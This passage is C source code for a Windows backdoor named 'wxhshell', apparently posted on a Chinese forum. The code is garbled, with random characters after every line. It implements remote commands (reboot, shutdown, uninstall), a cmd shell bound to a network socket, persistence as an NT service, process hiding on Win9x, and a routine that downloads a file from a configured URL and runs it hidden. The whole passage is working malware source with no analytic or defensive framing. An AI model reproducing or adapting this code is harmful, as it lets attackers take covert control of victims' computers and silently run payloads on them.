    if(Install()) zkquXzlgB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b=5ZfhIg[  
    else ~n$\[rQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ehxu`>@N  
    break; :D4'x{#H  
    } p3>Md?e  
  // 卸载 D#A6s32a  
  case 'r': { TKQ^D  
    if(Uninstall()) J9MAnYd)i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ym.{ {^=  
    else ICiGZ'k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gJ~CD1`O  
    break; #r/5!*3  
    } h_]*|[g  
  // 显示 wxhshell 所在路径 I^HwXp([  
  case 'p': { djqw5kO:R  
    char svExeFile[MAX_PATH]; |*^}e54  
    strcpy(svExeFile,"\n\r"); N>CNgUyP  
      strcat(svExeFile,ExeFile); :| !5d{8S8  
        send(wsh,svExeFile,strlen(svExeFile),0); ZQ>Q=eCs 1  
    break; 9Y@ eXP  
    } a?xZsR  
  // 重启 PEMBh?)g  
  case 'b': { dL_9/f4   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \_YDSmjy  
    if(Boot(REBOOT)) wbvOf X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \}~71y}  
    else { 34Cnbtq^  
    closesocket(wsh); |AT`(71  
    ExitThread(0); ;/t~MH  
    } %w?C)$Kn\  
    break; WZTAXOw  
    } =sAU5Ag68  
  // 关机 Z*ag{N  
  case 'd': { }1%%`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A!Tm[oqu  
    if(Boot(SHUTDOWN)) [H{@<*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mZM,"Wq,  
    else { CI-1>= "OE  
    closesocket(wsh); ahQY-%>  
    ExitThread(0); )%PMDG|  
    } {pA&Q{ ^  
    break; mi.,Z`]o  
    } kBxEp/y  
  // 获取shell W 1u!&:O  
  case 's': { )+DDIq  
    CmdShell(wsh); w!z* ?k=Da  
    closesocket(wsh); X%iJPJLza  
    ExitThread(0); R1/c@HQw?  
    break; =XK}eQ_d  
  } | KY-kRN7  
  // 退出 ,FXc_BCx4  
  case 'x': { !zvOCAb,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K|l}+:k  
    CloseIt(wsh); .6C6ZUB;  
    break; _]-4UA-  
    } Pd-LDs+Ga  
  // 离开 `HO] kJpX  
  case 'q': { s 0_*^cZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (> _Lb  
    closesocket(wsh); !v(^wqna\  
    WSACleanup(); v~yw-}fk%  
    exit(1); H^54o$5  
    break; KVh#"]<WV  
        } {bR2S&=OmK  
  } %H;}+U]Z  
  } 8a&c=9  
`6lOqH  
  // 提示信息 ^G2M4+W|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4HR36=E6  
} ' Ttsscv  
  } 3l,-n|x  
*8uS,s6g  
  return; ecQ{ePoU  
} l($ 8H AJ  
R\XS5HOE(  
// shell模块句柄 P3n#s2o6y  
int CmdShell(SOCKET sock) "}#%h&,  
{ \*'@F+  
STARTUPINFO si; Kn<+Au_]L  
ZeroMemory(&si,sizeof(si)); Sc#3<nVg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KeRC8mYp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :WX OD  
PROCESS_INFORMATION ProcessInfo; u|T]Ne  
char cmdline[]="cmd"; [ZC\8tP`V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^)I}#  
  return 0; G;iH.rCH  
} X d o\DQn  
?Z_T3/ f  
// 自身启动模式 Kh[l};/F  
int StartFromService(void) F\^8k/0  
{ SDV#p];u  
typedef struct LMx/0  
{ $v[mIR  
  DWORD ExitStatus; 3;VH'hh_  
  DWORD PebBaseAddress; %p$XK(6  
  DWORD AffinityMask; vd(S&&]o1  
  DWORD BasePriority; _p5#`-%mM  
  ULONG UniqueProcessId; 5S2 j5M00  
  ULONG InheritedFromUniqueProcessId; ]z5hTY  
}   PROCESS_BASIC_INFORMATION; ~*"ZF-c,  
C:}1r  
PROCNTQSIP NtQueryInformationProcess; T/2k2r4PD  
RgUQ:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t72u%M6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eY'n S  
4L ]4WVc  
  HANDLE             hProcess; 7s3=Fa:9Q  
  PROCESS_BASIC_INFORMATION pbi; iw=e"6V  
sNcU>qjj6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p JT)X8K"  
  if(NULL == hInst ) return 0; /]'&cD 1  
od5nRb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \#LDX,=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rab$[?]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FU/:'/ L  
4w=v /WDo  
  if (!NtQueryInformationProcess) return 0; fM7B<eB  
Y0krFhL'x0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4H%#Sn#L^!  
  if(!hProcess) return 0; f<iK%  
8<mloM-4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j6RV{Lkr_  
c0o Z7)*}  
  CloseHandle(hProcess); "igA^^?X1N  
R9 Ab.t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )^AZmUYZ  
if(hProcess==NULL) return 0; \8!CKnfs  
{U$XHG  
HMODULE hMod; R]e&JoY  
char procName[255]; Z37Dv;&ZD  
unsigned long cbNeeded; dor1(@no|  
|LZ{kD|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iu(obmh/o  
,Yx<"2 W  
  CloseHandle(hProcess); #b;k+<n[X  
[?|yQ x  
if(strstr(procName,"services")) return 1; // 以服务启动 E:B"!Y6  
vs[!B-  
  return 0; // 注册表启动 D (8Z90  
} `^[Tu 1  
V0Oqq0\  
// 主模块 "_\"S  
int StartWxhshell(LPSTR lpCmdLine) 6vAZLNG3  
{ B>>_t2IU  
  SOCKET wsl; !reOYt|  
BOOL val=TRUE; =pi,]m  
  int port=0; NfPWcK [  
  struct sockaddr_in door; ga/zt-&  
Zv!XNc!"$y  
  if(wscfg.ws_autoins) Install(); ;`LG WT-<F  
,$ /Ld76U  
port=atoi(lpCmdLine); 5I1YB+$}e  
+aL  
if(port<=0) port=wscfg.ws_port; ;22?-F^  
3IQI={:k|D  
  WSADATA data; +DX P &Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fX 1%I  
C]8w[)d[`;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <=GZm}/]N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E;s_=j1f  
  door.sin_family = AF_INET; ^pd7nr~Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %q3`k#?<  
  door.sin_port = htons(port); ut\ X{.r7  
aT Izf qCM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { No6-i{HZ  
closesocket(wsl); XP o#qT8n  
return 1; LEP TL#WT1  
} H=,>-eVv*  
xok T  
  if(listen(wsl,2) == INVALID_SOCKET) { f4\$<g/~  
closesocket(wsl); YcX"Z~O6j=  
return 1; TMY. z  
} 9/e>%1.  
  Wxhshell(wsl); m4oj1h_4  
  WSACleanup(); tmq?h%O>  
}:c~5whN  
return 0; =|aZNHqH  
`<d.I%}  
} G^nG^HTo5  
G!sfp}qW  
// 以NT服务方式启动 D C/X|f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hvO$ f.i  
{ ]58~b%s  
DWORD   status = 0; Cy uRj[;B  
  DWORD   specificError = 0xfffffff; aY? VP?BL  
%n9ukc~$p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "GZ}+K*GG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  %V ]v,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h M7 SGEV  
  serviceStatus.dwWin32ExitCode     = 0; R/"-r^j  
  serviceStatus.dwServiceSpecificExitCode = 0; ;f[##=tm  
  serviceStatus.dwCheckPoint       = 0; 3Fn}nek  
  serviceStatus.dwWaitHint       = 0; hx&fV#m  
#`gX(C>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~K#92  
  if (hServiceStatusHandle==0) return; R,78}7B  
qOy(dG g  
status = GetLastError(); N [3Y~HX!q  
  if (status!=NO_ERROR) yH-&o,  
{ !Whx^B:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K)    
    serviceStatus.dwCheckPoint       = 0; qGH[kd  
    serviceStatus.dwWaitHint       = 0; 0]*W0#{Zj  
    serviceStatus.dwWin32ExitCode     = status; +g7]ga  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?+7~ E8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S@3`H8 [  
    return; 4(P<'FK $  
  } Cq/u$G  
n:wAxU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]zyT_}&  
  serviceStatus.dwCheckPoint       = 0; AN:s%w2  
  serviceStatus.dwWaitHint       = 0; f/8&-L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @]#[TbNo  
} 0aY\(@  
cq?,v?m  
// 处理NT服务事件,比如:启动、停止 B,_K mHItd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E_A5KLP  
{ AEnkx!o  
switch(fdwControl) KG(FA  
{ VT4 >6u}  
case SERVICE_CONTROL_STOP: E"p _!!1  
  serviceStatus.dwWin32ExitCode = 0; H/M]YUs/3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tlD^"eq4:  
  serviceStatus.dwCheckPoint   = 0; 5<`83; R9  
  serviceStatus.dwWaitHint     = 0; qzvht4  
  { QeFt WjlqC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FO[ s;dmzu  
  } 4Ol1T(J#  
  return; Hs8JJGXWB  
case SERVICE_CONTROL_PAUSE: 6c(b*o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *rw6?u9I  
  break; LlgFQfu8  
case SERVICE_CONTROL_CONTINUE: . G25D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w=!xTA  
  break; m?yztm~u  
case SERVICE_CONTROL_INTERROGATE: --"5yGOL  
  break; [^}bc-9?i  
}; 8$]SvfX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _u6N aB  
} Q%q;=a  
z.RM85?T  
// 标准应用程序主函数 b49h @G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n(#yGzq  
{ YU6|/ <8  
`u_MdB}<x;  
// 获取操作系统版本 &F#eYEuy  
OsIsNt=GetOsVer(); eQ)*jeD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U_'M9g{,<  
OhN2FkxL  
  // 从命令行安装 Ws0)B8y,|  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,.2qh|Ol  
DeW{#c6  
  // 下载执行文件 { g[kn^|  
if(wscfg.ws_downexe) { ndDF(qHr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "AXgT[ O  
  WinExec(wscfg.ws_filenam,SW_HIDE); DAf@-~c  
} Q.jThP`p  
-wx~*  
if(!OsIsNt) { :%AEwRZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 C :sgT6  
HideProc(); %wru)  
StartWxhshell(lpCmdLine); G?LC!9MB  
} 'lpCwH  
else WQN`y>1#@_  
  if(StartFromService()) ?8s$RYp14  
  // 以服务方式启动 5`e;l$ M`  
  StartServiceCtrlDispatcher(DispatchTable); ](n)bF+ym  
else !PeSnO  
  // 普通方式启动 qhTVsZ:{C  
  StartWxhshell(lpCmdLine); XABP}|aWK  
VuTTWBx  
return 0; HbPn<x^7  
}
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只看该作者 1 发表于: 2006-10-10
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